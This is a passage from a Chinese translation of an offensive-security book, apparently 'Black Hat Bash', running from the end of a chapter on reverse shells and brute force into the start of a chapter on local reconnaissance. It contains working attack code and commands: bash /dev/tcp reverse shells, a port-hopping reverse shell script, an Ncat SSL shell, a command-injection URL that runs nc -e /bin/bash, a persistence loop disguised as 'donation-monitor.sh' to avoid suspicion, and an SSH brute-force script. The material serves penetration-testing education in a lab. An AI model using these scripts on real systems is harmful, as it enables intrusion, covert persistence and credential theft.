www-data 133 0.0 0.0 3896 2948 ? S ❷ 0:00 bash -c bash -i >&
/dev/tcp/172.16.10.1/1337 0>&1
www-data 134 0.0 0.0 4160 3516 ? S ❸ 0:00 bash -i
www-data 169 0.0 0.0 6756 2944 ? R 0:00 ps aux
列出 7-2:查看进程信息
在进程输出中,我们可以清楚地看到反向 shell 载荷是如何在远程服务器上执行的,从进程 ID 为 131 的进程开始。(进程 ID 在你的机器上可能不同。)
进一步解析,初始命令 sh ❶ 调用了 bash -c 命令 ❷。该命令允许我们执行所需的 shell 实例,在本例中是 bash,进程 ID 为 134 ❸。通过利用这一系列进程并访问由 /dev/tcp 提供的网络功能,我们将反向 shell 能力从有限的 sh shell 提升为功能完整的 bash shell。这一升级为我们提供了更广泛的高级反向 shell 技巧,使得复杂的后渗透活动成为可能,并能够维持对被攻陷系统的控制。
使用 pwncat 监听
pwncat 是另一个有用的工具,用于捕获和交互反向 shell。它允许我们创建反向 shell 监听器,然后利用其内建模块进行各种操作。
例如,让我们通过反向 shell 发送命令。稍后在本章中,我们也将使用它进行文件上传。启动一个 pwncat 反向 shell 监听器:
$ **pwncat-cs -l -p 1337**
[15:54:30] Welcome to pwncat!
bound to 0.0.0.0:1337
输出显示 pwncat 正在积极监听被攻陷机器发来的任何连接。
现在我们可以注入将为我们提供反向 shell 的命令,就像本章之前所做的那样。一旦 pwncat 接收到 shell,你将在终端中看到一条消息,并且能够运行命令:
[15:59:49] received connection from 172.16.10.12:54736
[15:59:50] 172.16.10.12:54736: registered new host w/ db manager.py:957
(local) pwncat$
消息(local)pwncat$ 是 pwncat 的提示符,你可以在此输入命令。输入 help 查看现有选项:
(local) pwncat$ **help**
Command Description
-------------------------------------------------------------------------------
alias Alias an existing command with a new name. Specifying [...]
back Return to the remote terminal
bind Create key aliases for when in raw mode. This only [...]
connect Connect to a remote victim. This command is only valid [...]
download Download a file from the remote host to the local host
escalate Attempt privilege escalation in the current session. [...]
exit Exit the interactive prompt. If sessions are active, [...]
help List known commands and print their associated help [...]
info View info about a module
`--snip--`
local Run a local shell command on your attacking machine
lpwd Print the local current working directory
reset Reset the remote terminal to the standard pwncat [...]
run Run a module. If no module is specified, use the [...]
search View info about a module
sessions Interact and control active remote sessions. This [...]
set Set runtime variable parameters for pwncat
shortcut
upload Upload a file from the local host to the remote host
use Set the currently used module in the config handler
提供了许多选项。要运行一些 shell 命令,首先必须使用 back 命令。该命令将返回到被攻陷的主机:
(local) pwncat$ **back**
现在你可以在目标系统上运行命令:
(remote) www-data@p-web-02.acme-infinity-servers.com:/var/www/html$ **id**
uid=33(www-data) gid=33(www-data) groups=33(www-data)
如你所见,pwncat 能够发送命令并获取结果。
绕过安全控制
在进行渗透测试时,你可能会遇到一些环境,在这些环境中,你建立的 shell 很难使用。例如,Shell 本身可能会有限制,或者该环境可能通过减少可用的包来增强系统的安全性。
例如,表 7-1 展示了在 Kali shell 环境与 p-web-02 反向 Shell 中运行的命令之间的差异。
表 7-1:Kali 与 p-web-02 中运行的命令比较
| Kali shell | p-web-02 反向 Shell |
|---|---|
| $ echo $SHELL | $ echo $SHELL |
| /bin/bash | /usr/sbin/nologin |
| $ whoami | $ whoami |
| Kali | www-data |
| $ ls /bin | wc -l | $ ls /bin | wc -l |
| 3249 | 89 |
| $ wget | $ wget |
| wget: missing URL | Bash: wget: command not found |
| 用法:wget [选项] ... |
p-web-02 环境缺乏 Kali shell 的许多用户权限,甚至可用的二进制文件数量也有显著不同。这是合理的,因为 Kali 是一个完整的操作系统,带有图形界面,而 p-web-02 是一个精简的容器,仅包含最基本的操作所需的软件。
在类似 p-web-02 所模拟的云托管 Web 应用服务器中,缺少已安装或内建的二进制文件是正常现象。这是由于性能、安全性和资源优化的需求。精简的系统镜像需要更少的维护工作量,并且提供更快的部署速度。
第三方工具甚至可以定制化去除镜像中的多余包(这一过程称为最小化)。例如,SlimToolkit 项目在 github.com/slimtoolkit/slim 中运行多种分析技术,识别未使用的包,然后通过移除它们来优化操作系统大小。
在本节中,我们将突出一些高阶技术,这些技术用于隐藏反向 Shell 通信或绕过在加固环境中的安全限制。这些技术可以避开初步的访问安全措施,并让我们维持对被攻破系统的控制。
加密与封装流量
为了避免被检测到,反向 Shell 可以使用加密和封装技术,将恶意流量隐藏在合法的协议或连接中。通过加密通信,我们可以使反向 Shell 流量的内容不可读,从而使安全设备难以识别任何恶意负载或指令。
封装 技术将反向 Shell 流量隐藏在无害的协议或已加密的连接中。这项技术将反向 Shell 通信伪装成合法流量。
图 7-3 展示了一个加密隧道如何在被攻破的服务器与攻击者机器之间工作。如你所见,反向 Shell 连接发生在加密连接之内。

图 7-3:通过加密通信通道的反向 Shell
我们可以通过多种方式创建一个加密的反向 Shell 连接。其中一种方式是使用 Ncat(与 Netcat 不要混淆),它是一个与 Nmap 一起打包的网络工具,允许流量的重定向、读写和加密。
你可以使用以下命令序列在攻击者机器和目标机器之间建立一个被加密隧道封装的反向 Shell 连接。在攻击者机器上,启动一个 SSL(安全套接字层)监听器,使用 Ncat:
$ **ncat -v -l 9443 --ssl**
Ncat:(https://nmap.org/ncat)
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert
to use a permanent one.
Ncat: SHA-1 fingerprint: 174A B251 8100 D6BC EFD7 71C2 FEA6 3D32 0D2D 49B2
Ncat: Listening on :::9443
使用 -v(详细输出)标志,指定端口到 -l(监听)标志,然后使用 --ssl 来加密。除非另行指定,否则 Ncat 默认会生成临时的非对称密钥(Rivest-Shamir-Adleman,或 RSA)。
在被攻陷的机器上,以下命令将建立一个加密的反向 Shell。然而,被攻陷的机器必须已安装 Ncat 才能使此命令生效,而它通常默认并不可用:
$ **ncat** **`attacker_IP address`** **9443 --ssl -e /bin/bash -v**
Ncat: (https://nmap.org/ncat)
Ncat: Subject: CN=localhost
Ncat: Issuer: CN=localhost
Ncat: SHA-1 fingerprint: BEED 35DF 5C83 60E7 73CF EBB8 B340 F870 8CC3 DD6E
`--snip--`
Ncat: SHA-1 fingerprint: BEED 35DF 5C83 60E7 73CF EBB8 B340 F870 8CC3 DD6E
在这个例子中,我们运行 Ncat 连接到攻击者的监听器。我们使用 --ssl 来加密流量,然后使用 -e /bin/bash 来执行 bash shell。
pwncat 也可以通过使用与 Ncat 相同的命令风格,建立基于 SSL 的连接。请参考 pwncat 的文档 pwncat.readthedocs.io/en/latest/usage.html 了解如何使用它来建立基于 SSL 的反向 Shell 连接。
在目标端口之间切换
端口跳跃,或在通信过程中动态切换网络端口,既用于防御活动也用于进攻活动。在进攻方面,这种技术可以确保反向 Shell 的稳定性,并使安全监控系统更难以阻止恶意流量。通过不断更换端口,攻击者可以绕过简单的基于端口的过滤机制和入侵检测系统,这些系统监控特定端口以检测可疑活动。端口跳跃还使防御者更难以阻止反向 Shell 连接;如果某个网络端口变得不可达,端口跳跃会重新建立连接。
注意
你可以从以下链接下载本章的脚本:github.com/dolevf/Black-Hat-Bash/blob/master/ch07。
攻击者通常通过使用预定义的端口范围来实现端口跳跃。列表 7-3 通过使用多个端口执行反向 Shell 连接,具体取决于端口的可用性。
port-hopper.sh
#!/bin/bash
TARGET="172.16.10.1"
❶ PORTS=("34455" "34456" "34457" "34458" "34459")
listener_is_reachable() {
local port="${1}"
❷ if timeout 0.5 bash -c "</dev/tcp/${TARGET}/${port}" 2> /dev/null; then
return 0
else
return 1
fi
}
connect_reverse_shell() {
local port="${1}"
bash -i >& "/dev/tcp/${TARGET}/${port}" 0>&1
}
❸ while true; do
for port in "${PORTS[@]}"; do
❹ if listener_is_reachable "${port}"; then
echo "Port ${port} is reachable; attempting a connection."
connect_reverse_shell "${port}"
else
echo "Port ${port} is not reachable."
fi
done
echo "Sleeping for 10 seconds before the next attempt..."
sleep 10
done
列表 7-3:使用多种端口尝试反向 Shell 连接
该脚本在一个数组中设置了几个预定义的端口:34455、34456、34457、34458 和 34459 ❶。在 ❸ 处,一个无限的 while 循环会持续尝试连接监听器。然后,我们通过使用 for 循环遍历端口,并使用 listener_is_reachable() 函数 ❹ 检查每个端口是否可达,该函数使用特殊的 /dev/tcp 设备。请注意,我们在检查可达性时 ❷ 会先使用 timeout 命令,确保命令在设定的 0.5 秒间隔内退出。如果端口可达,我们调用 connect_reverse_shell() 函数,传入打开的端口作为参数,并使用 /dev/tcp 向其发送交互式 shell。
由于我们正在连续进行多个网络连接(一个用于连接检查,另一个用于建立反向 shell),某些版本的 Netcat 可能不支持保持监听器的存活。为了克服这一点,我们可以使用 socat 在 Kali 主机上设置 TCP 监听器。该工具将确保监听器保持活跃:
$ **socat - tcp-listen:34459,fork**
如果你在其中一台受控主机上运行该脚本,如 p-web-01(172.16.10.10),它应该会产生以下输出:
$ **./port-hopper.sh**
`--snip--`
Port 34457 is not reachable.
Port 34458 is not reachable.
Port 34459 is reachable, attempting a connection...
在下一部分,我们将讨论几种方法,帮助我们在没有超级用户权限的情况下,将新的二进制文件传输到目标环境,而不需要从公共仓库下载官方软件包。
使用伪终端设备生成 TTY Shell
这里有一个你可能在未来的 shell 破解冒险中遇到的场景:你访问的受限 shell 可能不提供完整的 TTY(终端)支持。非 TTY shell 具有有限的命令行编辑、没有作业控制、输出格式不完整和缺失信号处理,并且它们可能无法在交互式应用程序中工作,如文本编辑器。
升级 shell 为功能丰富的 TTY shell 的一种常见方法是使用伪终端。伪终端 提供了一个接口,允许进程与类似终端的设备进行交互,从而使终端应用程序、shell 和其他程序能够像连接到物理终端一样工作。
Python 的 pty 模块
Python 的 pty 模块模拟物理终端设备的功能。在以下示例中,我们通过使用 pty.spawn() 函数,将 Python shell 升级为完全交互的 TTY bash shell。尝试在 Kali 主机上运行它,看看它的效果:
$ **python**
Python 3.xx (main, Feb 12, 00:48:52) on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> **import pty**
>>> **pty.spawn("/bin/bash")**
$
要退出 Python 控制台,输入 exit()。
在安装了 Python 的受控主机上,你可以通过执行以下命令来提升你的 shell 权限:
$ **python3 -c 'import pty; pty.spawn("/bin/bash")'**
请记住,Python 必须在受控主机上可用,才能使用此技术。
socat
如果目标主机和你的本地攻击系统上都存在 socat 工具,你可以使用它来生成 TTY shell。我们通常使用 socat 在两个数据通道之间进行双向通信。
在 Kali 上,运行 socat 命令以生成 TTY shell:
$ **socat file:$(tty),raw,echo=0 tcp-listen:1337**
file: 参数使用 $(tty) 命令的值,扩展为 /dev/pts/#。原始模式(raw)确保 socat 不会处理输入和输出数据,echo=0 禁用 socat 的本地回显,tcp-listen:1337 定义本地 TCP 监听端口。
接下来,通过在p-web-02(172.16.10.12)上利用操作系统命令注入漏洞,执行以下命令。请注意使用管道符触发注入漏洞:
| **socat exec:'bash -li',pty,stderr tcp:172.16.10.1:1337**
在此示例中,我们使用 exec 参数“bash -li”调用 socat,这将以交互方式执行 bash,就像它被作为登录 shell 调用一样。我们还传递了 pty,stderr 来生成伪终端并捕获标准错误流,后跟 tcp:172.16.10.1:1337 来设置使用 TCP 的连接地址。
后期利用二进制文件部署
让我们讨论几种不需要 root 权限即可从受限 shell 环境升级的方法。在本节中,我们假设未能仅使用 bash 通过 /dev/tcp 特殊伪设备文件建立反向 shell 连接到p-web-02。
即使 www-data 用户缺乏权限并且无法在服务器上安装软件,我们也可以仅使用 bash 执行许多攻击。然而,缺少某些核心二进制文件,尤其是那些用于网络的二进制文件,会使我们的黑客工作变得特别困难。
正如我们在表 7-1 中提到的,p-web-02 没有 wget 二进制文件来从远程服务器下载文件。让我们尝试执行一些其他常见的网络工具命令,看看它们是否存在:
www-data@p-web-02:/var/www/html$ **ssh**
bash: ssh: command not found
www-data@p-web-02:/var/www/html$ **nc**
bash: ssh: command not found
www-data@p-web-02:/var/www/html$ **socat**
bash: socat: command not found
www-data@p-web-02:/var/www/html$ **python --version**
bash: python: command not found
www-data@p-web-02:/var/www/html$ **curl**
curl: try 'curl --help' or 'curl --manual' for more information
哇,这台主机确实无法建立出站连接。我们有 curl,但是无法使用 curl 直接建立反向 shell 连接。
在这种情况下,下载一个 Netcat 二进制文件到目标服务器会非常有用。通过利用如代码执行等应用程序漏洞,我们可以潜在地安装这样的网络工具,并使用它建立升级版的反向 shell 连接。
本节中,我们涵盖了可以用来将网络二进制文件拉入目标环境并执行它们的有用命令。请注意,我们将使用与p-web-02的反向 shell 连接在这里稍微作弊一下,但以下技术完全可以利用我们发现的操作系统命令注入漏洞来执行。我们将在几个示例中展示它的使用。
提供 Netcat 服务
在 Kali 机器中,导航到您要传输的有效载荷的目录,然后输入以下 Python 命令来启动 HTTP 服务器:
$ **cd Black-Hat-Bash/ch07**
$ **python -m http.server**
在p-web-02(172.16.10.12)上,您现在应该能够通过 Python HTTP 服务器访问 Kali 机器的文件系统,并使用 curl 执行下载命令。将 Kali nc 二进制文件的副本放入与 HTTP 服务器相同的目录中:
$ **which nc**
/usr/bin/nc
$ **cp /usr/bin/nc ~/Black-Hat-Bash/ch07**
您现在可以通过远程 curl 命令将其下载到p-web-02,并将其设置为可执行文件:
$ **cd /var/www/html**
$ **curl -O http://172.16.10.1:8000/nc**
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 34952 100 34952 0 0 33.3M 0 --:--:-- --:--:-- --:-- 33.3M
在 Kali 虚拟机中,我们现在可以在新终端上通过不同的端口建立第二个反向 shell 连接。我们选择 1234 端口(因为第一个反向 shell 使用的是端口 1337):
$ **nc -lvp 1234**
接下来,我们可以在第一个反向 shell 中执行新的 nc 二进制文件,通过 nc 建立第二个反向 shell。我们还可以通过使用 & 将此过程发送到后台:
# **chmod u+x nc**
# **./nc 172.16.10.1 1234 -e /bin/bash &**
[1] 140
另外,我们可以简单地在新的 Kali 终端中通过 curl 调用 p-web-02 上的 Netcat 二进制文件,利用操作系统命令注入漏洞:
$ **curl http://172.16.10.12/donate.php?amount=%7C+.%2Fnc+172.16.10.1+1234+-e+%2Fbin%2Fbash**
这种方法绕过了第一个反向 shell 的需求。
使用 pwncat 上传文件
当我们使用 pwncat 建立一个 shell 时,可以利用其上传命令在攻击者和受感染目标机器之间传输文件。上传命令接受两个参数,源文件和目标位置:
(local) pwncat$ **upload /etc/passwd /tmp/remote_passwd.txt**
[16:16:46] uploaded in 0.32 seconds
重要的是要记住,除非 pwncat 使用 SSL,否则攻击者机器与目标机器之间的流量将是明文传输。(Netcat 和 Ncat 也是如此。)
从可信网站下载二进制文件
通常,环境不会阻止与常用网站(如 GitHub、GitLab、Google Drive 和 Microsoft OneDrive)以及云服务(如亚马逊简单存储服务 S3 和 Google 云存储 GCS)的外发流量。因此,这些是托管恶意文件的好地方。
安全性成熟度较低的组织通常会对其整个网络(包括用户和服务器)使用相同的出站过滤策略,并且往往没有很好的方法来阻止网站的某一部分,同时允许其他部分通过。此外,如果公司使用亚马逊 Web 服务(AWS)或任何其他云服务商来托管其基础设施,很可能会允许与云服务提供商之间的所有流量。
作为渗透测试员,你应该探索目标使用的任何第三方服务,并寻找方法通过它们托管你的恶意文件。例如,如果你的目标有一个公共的营销网站,并且提供与代理对话的聊天机器人功能,可能有办法通过聊天匿名附加文件。如果是这种情况,你可以复制并粘贴该链接,用它将恶意文件传输到后续受感染的主机。
通过可信网站托管的一个好处是,如果网站通过安全超文本传输协议(HTTPS)提供,受感染的机器与可信网站之间的通信将自动加密。
练习 10:保持持续的反向 Shell 连接
你可能想通过执行一个脚本来加强你在目标上的初始立足点,该脚本会不断重新建立反向 shell 连接。如果反向 shell 进程被中断或断开,你的脚本可以通过提供的 IP 地址和端口重新连接到 Kali 虚拟机。
清单 7-4 将在被攻陷的服务器上作为后台进程本地运行,并尝试以我们设置的特定间隔重新建立反向 shell 连接。
reverse_shell _monitor.sh
#!/bin/bash
TARGET_HOST="172.16.10.1"
TARGET_PORT="1337"
# Function to restart the reverse shell process
restart_reverse_shell() {
echo "Restarting reverse shell..."
bash -i >& "/dev/tcp/${TARGET_HOST}/${TARGET_PORT}" 0>&1 &
}
# Continuously monitor the state of the reverse shell.
while true; do
restart_reverse_shell
# Sleep for a desired interval before checking again.
sleep 10
done
清单 7-4:监控并重新建立反向 shell 连接
脚本本身很简单:我们每 10 秒调用一次 restart_reverse_shell() 函数。无论网络或反向 shell 进程的状态如何,该函数都会尝试与我们的 Kali 主机重新建立连接。如果当前已经有一个反向 shell 连接,Kali 主机会拒绝任何其他连接。
将脚本命名为一些普通的名称,比如 donation-monitor.sh,以避免引起怀疑,因为该脚本应在后台无限期运行。接下来,将脚本保存到 p-web-02(172.16.10.12)上的文件中,并设置适当的执行权限,然后将脚本作为后台任务运行,重定向其输出:
$ **cp reverse_shell_monitor.sh donation-monitor.sh**
$ **chmod +x ./donation-monitor.sh**
$ **nohup** **./donation-monitor.sh > /dev/null 2>&1 &**
$ **rm nohup.out**
要测试脚本,您只需要运行 Netcat 监听命令以提供反向 shell。尝试多次停止和启动监听器,您会注意到每 10 秒反向 shell 会重新建立连接。
使用暴力破解进行初始访问
进入远程系统的一种更传统方式是使用与 IT 管理员相同的服务。通过利用被盗的凭证或利用如配置错误或密码不强等弱点,我们可以通过暴力破解的方式打开系统的大门。
一个常见的目标服务是 SSH。虽然一般认为 SSH 是一种安全协议,但其实现可能存在安全弱点,攻击者可以利用这些弱点进行攻击,例如密码弱或重复使用、身份验证方法不安全以及密钥管理问题。
我们可以使用 bash 脚本执行跨多个服务协议的复杂暴力攻击,包括 SSH。虽然我们可以单独运行暴力破解工具,但将它们结合到一个 bash 脚本中可以带来许多好处。我们的脚本可以自动化主机检测、生成字典文件,并与工具集成来填充凭证。
让我们尝试破解一个新目标,p-jumbox-01 服务器(172.16.10.13)。要执行 SSH 连接,请在 Kali 主机中打开一个新终端并输入以下命令:
$ **ssh user@172.16.10.13**
The authenticity of host '172.16.10.13 (172.16.10.13)' can't be established.
ED25519 key fingerprint is SHA256:c89YzVU+EW/2o+lZm30BgEjutZ0f2t145cSyX2/zwzU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? **yes**
user@172.16.10.13's password:
尝试通过 SSH 连接到 p-jumpbox-01 后,您看到的警告信息表示 SSH 客户端没有将主机的公钥存储在 known_hosts 文件中。此文件用于验证您正在连接的主机的真实性,而 ED25519 密钥指纹 表示服务器的公钥。通过输入 yes,我们继续进行 SSH 连接,并将主机的公钥存入我们的 known_hosts 文件中。
SSH 允许基于密码和基于密钥的认证。在基于密码的认证中,用户提供其用户名和密码来验证自己的身份以访问远程服务器。在基于密钥的认证(也称为公钥认证)中,用户提供一个加密密钥来验证自己的身份。在尝试暴力破解 SSH 服务器之前,验证服务器是否接受基于密码的认证非常重要。
要测试服务器是否允许基于密码的认证,只需观察在尝试初始连接后服务器的响应。例如,您可以看到我们的初始连接尝试产生了对用户密码的提示。或者,您可以使用 Nmap 位于/usr/share/nmap/scripts下的内置 NSE 脚本ssh-auth-methods.nse。
如果服务器立即拒绝连接或者提供了一个通用的错误消息而不提示您输入密码,那么可能不允许基于密码的认证或者这不是服务器的主要认证方法。
练习 11:对 SSH 服务器进行暴力破解
在这个练习中,您将使用 bash 对运行在p-jumpbox-01(172.16.10.13)服务器上的 SSH 服务进行基于字典的暴力破解攻击。您的脚本应该迭代常见用户名和密码的列表,尝试对服务器进行身份验证,并记录任何成功的凭据。
在编写 SSH 暴力破解脚本之前,您需要两样东西。首先,您必须识别单个目标用户名或生成一个用户名列表进行迭代。在侦察期间没有识别到任何用户名,因此尝试使用常见的 Linux 用户名列表,如root、guest、backup、ubuntu和centos。当然,这只是猜测这些用户是否存在于目标服务器上。
其次,您需要一个潜在密码列表。Kali 包含了一个在/usr/share/wordlist目录中的出色密码列表,但我们建议使用书籍 GitHub 仓库中的common-credentials/passwords.txt密码文件。
有了您的用户名和密码列表,您可以编写一些 bash 脚本来测试p-jumpbox-01服务器认证的强度。第 7-5 节提供了一个示例。
ssh-bruteforce.sh
#!/bin/bash
# Define the target SSH server and port.
TARGET="172.16.10.13"
PORT="22"
# Define the username and password lists.
❶ USERNAMES=("root" "guest" "backup" "ubuntu" "centos")
❷ PASSWORD_FILE="passwords.txt"
echo "Starting SSH credential testing..."
# Loop through each combination of usernames and passwords.
❸ for user in "${USERNAMES[@]}"; do
❹ while IFS= read -r pass; do
echo "Testing credentials: ${user} / ${pass}"
# Check the exit code to determine if the login was successful.
if sshpass -p "${pass}" ssh -o "StrictHostKeyChecking=no" \
❺ -p "${PORT}" "${user}@${TARGET}" exit >/dev/null 2>&1; then
❻ echo "Successful login with credentials:"
echo "Host: ${TARGET}"
echo "Username: ${user}"
echo "Password: ${pass}"
# Perform additional actions here using the credentials
exit 0
fi
done < "${PASSWORD_FILE}"
done
echo "No valid credentials found."
第 7-5 节:SSH 暴力破解
这个 SSH 暴力破解 bash 脚本的开始与我们的其他脚本非常相似:首先定义目标 IP 地址和端口。接下来,我们指定一组用户名 ❶ 和一个包含我们将使用的密码的文件 ❷。在 ❸ 处,我们迭代每个用户名,并使用 sshpass 注入密码 ❺,我们逐行读取 ❹。我们打印任何成功的输出 ❻。
注意
为了让下面的脚本工作,我们需要安装 sshpass,这是一个特殊的实用工具,允许在脚本中管理 SSH 连接。请使用以下命令安装 sshpass:
$ **sudo apt install sshpass -y**
下载并运行脚本以查看输出:
$ **./ssh-bruteforce.sh**
Starting SSH credential testing...
Testing credentials: root / 123456
Testing credentials: root / 123456789
Testing credentials: root / qwerty
Testing credentials: root / password
Testing credentials: root / backup
Testing credentials: root / pass123
Testing credentials: guest / 123456
Testing credentials: guest / 123456789
Testing credentials: guest / qwerty
Testing credentials: guest / password
Testing credentials: guest / backup
Testing credentials: guest / pass123
Testing credentials: backup / 123456
Testing credentials: backup / 123456789
Testing credentials: backup / qwerty
Testing credentials: backup / password
Testing credentials: backup / backup
Successful login with credentials:
Host: 172.16.10.13
Username: backup
Password: backup
我们已经发现用户名backup在p-jumpbox-01服务器上使用了一个弱密码(同样是backup)。你可以通过以下命令验证这些凭据是否有效,并登录到p-jumpbox-01服务器:
$ **ssh backup@172.16.10.13**
当系统提示输入凭据时,使用密码backup,你应该能获得访问权限。
为了进一步扩展这个脚本,尝试以下修改:
-
通过使用字典来攻击多个主机并行处理,使暴力破解过程更加高效,这样你就不再局限于一次只针对一个 IP 地址。
-
向脚本中添加一个通知组件,这样一旦主机被攻陷,你就能通过你喜欢的消息媒体收到通知。
概要
在本章中,你学习了如何在目标机器上创建反向 shell,并探索了增强远程 shell 接口互动性和持久性的策略,为未来的攻击奠定基础。你还学习了如何在攻击机器和被攻陷的机器之间传输文件。接着,你使用 bash 执行了 SSH 暴力破解攻击。
既然你已经攻陷了三台机器,我们强烈建议你开始在被攻陷的主机上游走,为下一章的内容做准备。
第八章:8 本地信息收集

在前两章中,我们已经在多个主机上获得了初步立足点。在这一章中,我们将进行本地侦察,识别感兴趣的资产,在征服网络中其他主机的道路上,不留下任何遗漏。
一旦成功控制了主机,知道在哪里找到敏感信息是一项关键技能。我们将专注于你可以收集的关键信息类别:身份(如用户和组)、文件(包括日志和配置文件)、网络信息、自动化工作流、已安装的软件和固件、正在运行的进程以及安全机制。在第九章中,当我们讨论特权提升技术时,还会涉及其他信息,如凭证。
在现实生活场景中,后渗透阶段也是你被防守方抓住的几率增加的阶段,因为你收集的信息可能会留下痕迹。出于这个原因,我们会尽可能默认使用本地的 Linux 工具和文件来收集信息,尝试做到利用现有资源:利用主机上已有的工具,而避免使用外部工具,这些工具可能会触发警报。
尝试在你目前已控制的所有主机上运行本章介绍的 shell 命令,以及在继续阅读过程中你所控制的任何新机器。你甚至可以根据这些命令编写脚本,在所有机器上轻松执行相同的命令。
文件系统层次结构标准
感兴趣的数据可能分布在 Linux 文件系统的多个区域。为了高效探索你获得 shell 访问权限的系统,参考文件系统层次结构标准(FHS),它描述了 Linux 系统中文件夹的结构及其位置。这一层次结构标准使得用户和程序能够更容易地搜索感兴趣的文件,如日志文件或配置文件。
Linux 文件系统的层次结构从根目录(/)开始,这是进入文件系统目录树结构的起点。表 8-1 展示了根目录下的主要子目录及其主要用途。
表 8-1:文件系统层次结构标准目录布局
| 目录 | 描述 |
|---|---|
| / | 主目录,也叫根目录。 |
| /var | 用于非静态(可变)文件的目录。通常包含/var/log 目录下的应用日志文件,或包含处理过的任务,如定时任务和打印作业,存放在/var/spool 目录下。它也可能包含/var/cache 下的缓存文件,以及/var/run 下的系统相关运行时数据。 |
| /etc | 存放配置文件的目录。安装在系统上的应用程序将其专用的配置文件保存在此目录中(通常以 *.conf 后缀)。该目录还包含诸如 /etc/passwd、/etc/group 和 /etc/shadow 等文件,分别存储用户账户、组信息和密码哈希。 |
| /bin | 存放二进制工具的目录。通常用于存放与系统任务相关的二进制文件,如导航命令(cd)、文件复制(cp)、目录创建(mkdir)或文件创建(touch)。 |
| /sbin | 存放系统二进制文件的目录,例如用于系统调试、磁盘操作和服务管理的工具,主要供系统管理员使用。 |
| /dev | 表示并提供访问设备文件(如磁盘分区、U 盘和外部硬盘驱动器)的目录。 |
| /boot | 存放引导加载程序、内核文件和初始随机存取内存(RAM)磁盘(initrd)的目录。 |
| /home | 存放本地系统用户账户的家目录的目录。活动的系统用户账户通常会有一个子目录作为其分配的家目录。 |
| /root | 存放 root 用户家目录的目录。 |
| /tmp | 存放临时文件和目录的目录。/var/tmp 是另一个常用于临时文件的临时目录。 |
| /proc | 存放进程和内核数据的虚拟文件系统。在系统启动时自动创建。 |
| /usr | 存放用户二进制文件、手册页、内核源代码、头文件等的目录(过去还包括游戏)。 |
| /run | 存放运行时数据的目录。描述自上次启动以来系统的状态。 |
| /opt | 存放软件应用程序的目录。通常用于存放与第三方软件安装相关的数据。 |
| /mnt | 用于挂载网络共享或其他网络设备的目录,主要用于将设备挂载到本地文件系统,可以是临时的也可以是永久的。 |
| /media | 存放可移动设备的目录,例如 CD 驱动器。作为挂载点使用。 |
| /lib, /lib32, /lib64 | 存放启动系统和运行命令所需共享库的目录。 |
| /srv | 存放常见网络服务数据的目录,例如 Web 服务器和文件服务器的数据。 |
生产系统可能有成千上万个文件分布在各个位置,因此了解需要搜索的敏感数据以及搜索位置非常重要。
虽然 FHS 旨在标准化文件系统的布局,但系统可以偏离标准。此外,系统管理员可以将应用程序文件存储在任何位置。例如,系统管理员完全可以将整个 Web 服务器内容服务于像/mywebsite 这样的目录,并将日志写入像/data/logs 这样的目录。
Shell 环境
从信息收集的角度来看,shell 环境非常重要,因为它可以揭示系统查找可执行文件的路径。自定义应用程序可能会向 PATH 环境变量中添加新的目录路径,以便应用程序能够从非标准位置运行自定义库和可执行文件。你也可能会在这些自定义配置中发现凭证和其他机密信息。
环境变量
当入侵主机时,使用 env 或 printenv 命令转储其环境变量通常是很有用的。管理员往往将凭证存储在环境变量中,以避免将凭证写入磁盘文件。交付系统可以通过这些环境变量将凭证注入到应用程序的运行时,应用程序然后读取这些凭证。此外,你还可能在环境变量中找到其他重要信息,如相邻服务器的地址和运行时配置。
bash 配置文件中的敏感信息
在第二章中,我们使用了~/.bashrc文件和 bash 别名来设置命令的快捷方式。系统管理员可以轻松地在像~/.bashrc这样的 shell 脚本中包含凭证,以避免在命令行上手动输入凭证,因此总是要仔细检查是否做了任何自定义设置;你可能会找到凭证或用于管理目的的命令。以下是一些常见的配置文件,可以检查一下:/etc/profile、/etc/bashrc、/.bashrc*、*/.profile、/.bash_profile*、*/.env、/.bash_login*和*/.bash_logout。
除了 bash 外,系统上也可能存在其他 shell,如 Z Shell。在这种情况下,你可能需要查看像/etc/zprofile、/etc/zshrc、/.zprofile*和*/.zshrc这样的文件。
使用 man 命令来了解各种 shell 的环境和配置文件。例如,运行 man bash 可以查看 bash shell,man zsh 可以查看 Z Shell,man csh 可以查看 C Shell。
用户和组
你应该收集系统中各种用户和组的信息。系统可以为人类操作员配置用户账户,但你也可能会遇到除了 Linux 机器的默认账户外没有其他账户的系统。尤其是在容器化环境中,主机可能每天会频繁创建和销毁。短生命周期的服务器通常不会使用本地系统账户进行管理;相反,编排和配置工具会自动化整个部署、升级、降级、扩展等过程。
本地账户
Linux 系统有多个默认的用户和组。你可以在/etc/passwd中找到用户账户,在/etc/group中找到组信息,即使是权限较低的用户也应该能够读取这些文件。这些文件不包含敏感数据,但可以帮助你找到其他目录和文件,因为 Linux 系统中的一切都有用户和组的所有权。
注意
黑客通常会攻击 /etc/passwd 和 /etc/group 文件,因此,安全防御者需要通过适当的监控来观察是否有任何读取或写入这些文件的行为。
让我们查看被攻陷主机上的 /etc/passwd 文件。在 p-web-01(172.16.10.10)、p-web-02(172.16.10.12)和 p-jumpbox-01(172.16.10.13)上运行清单 8-1 中的命令,查看用户列表及其属性。
$ **cat /etc/passwd**
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
`--snip--`
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:996:996:systemd Resolver:/:/usr/sbin/nologin
jmartinez:x:1001:1001::/home/jmartinez:/bin/bash
`--snip--`
清单 8-1:查看系统上的用户
如你所见,我们得到一个由冒号(:)分隔的值列表。每一行都是一个唯一的用户账户,每个字段表示该账户的特定信息。我们特别关注输出中的第一行,这一行表示有一个 root 用户账户。表格 8-2 将这一行拆分成其组成字段。
表格 8-2:/etc/passwd 文件的字段
| 账户 | 密码 | 用户 ID | 组 ID | 注释 | 主目录 | 默认 shell |
|---|---|---|---|---|---|---|
| root | x | 0 | 0 | root | /root | /bin/bash |
